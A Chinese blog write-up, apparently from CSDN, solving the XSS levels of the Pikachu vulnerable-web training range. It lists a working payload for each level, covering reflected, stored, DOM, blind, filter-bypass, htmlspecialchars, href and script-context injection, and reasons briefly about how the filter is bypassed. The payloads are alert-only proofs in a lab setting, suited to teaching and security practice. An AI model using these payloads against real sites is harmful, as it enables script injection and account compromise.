XSS注入实例-Pikachu靶场

pikachu

反射型xss(get)

<script>alert('xss')</script>

注意

文本框有长度限制,可以在 URL中输入代码或者直接改前端代码
在这里插入图片描述

反射型xss(post)

<script>alert('xss’)</script>

在这里插入图片描述
在这里插入图片描述

存储型xss

<script>alert('xss')</script>

注意
代码植入后,可以尝试用其他浏览器访问此页面
在这里插入图片描述

DOM型xss

'><img src="#" onmouseover="alert('xss')">

在这里插入图片描述

DOM型xss-x

'><img src="#" onmouseover="alert('xss')">

在这里插入图片描述

xss之盲打

<script>alert('xss')</script>

注意

此关需要登录才会生效
在这里插入图片描述

xss之过滤

<img src='a' onerror="alert('xss')">

此处测试过滤时,如果单独输入"<>‘on/’() 则什么都没有被过滤,如果输入了“<>‘on/’() script img href src,则<>‘on/’() script 被删掉了,这说明什么问题?说明过滤语句可能是<.*script
在这里插入图片描述

xss之htmlspecialchars

'onclick='alert(/xss/)'

在这里插入图片描述

注意

字符被实体编码,但是单引号没编码

xss之href输出
javascript:alert(/xss/)

在这里插入图片描述

注意
<a>标签的 href属性用于指定超链接目标的 URL。
href 属性的值可以是任何有效文档的相对或绝对 URL包括片段标识符和 JavaScript 代码段。如果用户选择了<a>标签中的内容,那么浏览器会尝试检索并显示href属性指定的 URL所表示的文档,或者执行JavaScript 表达式、方法和函数的列表。
xss之js输出
</script><script>alert(/xss/)</script>

';alert(1);//';

在这里插入图片描述
在这里插入图片描述

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值